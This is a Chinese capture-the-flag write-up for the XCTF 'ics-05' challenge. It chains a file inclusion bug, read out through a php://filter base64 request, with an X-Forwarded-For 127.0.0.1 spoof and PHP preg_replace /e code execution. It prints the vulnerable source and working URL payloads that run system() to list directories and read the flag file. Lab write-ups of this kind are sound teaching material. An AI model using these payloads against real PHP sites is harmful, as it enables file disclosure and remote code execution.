XCTF-ics-05(文件包含+preg_replace函数/e修正符下的代码执行漏洞)
记一道preg_replace函数/e模式下的代码执行漏洞利用的题。
只有设备维护中心页面可以进入,页面没有什么可点击的,查看源代码,发现这里有个参数。
拼接到url,页面显示index,拼接/etc/passwd。
那么存在文件包含漏洞无疑。通过这个漏洞我们可以结合php伪协议读取到index.php的内容。
?page=php://filter/read=convert.base64-encode/resource=index.php
base64解密拿到源码。
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
1、这里需要IP欺骗加一个x-forwarded-for:127.0.0.1。
2、需要存在三个Get参数pat,rep,sub。然后preg_replace函数进行正则匹配。
了解一下这个函数
preg_replace 函数执行一个正则表达式的搜索和替换。
语法:mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]]
参数:$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)。
$count: 可选,为替换执行的次数。
其实就是搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
再看/e 修正符用在函数 preg_replace() 时,会将 replacement 参数当作 PHP 代码从而导致代码执行。
构造payload:
/index.php?pat=/1/e&rep=system("ls");&sub=1
/index.php?pat=/1/e&rep=system("ls+s3chahahaDir");&sub=1
/index.php?pat=/1/e&rep=system("ls+s3chahahaDir/flag");&sub=1
/index.php?pat=/1/e&rep=system("cat+s3chahahaDir/flag/flag.php");&sub=1
参考链接:
https://virtua11.github.io/2018/07/06/代码执行漏洞--preg_replace()/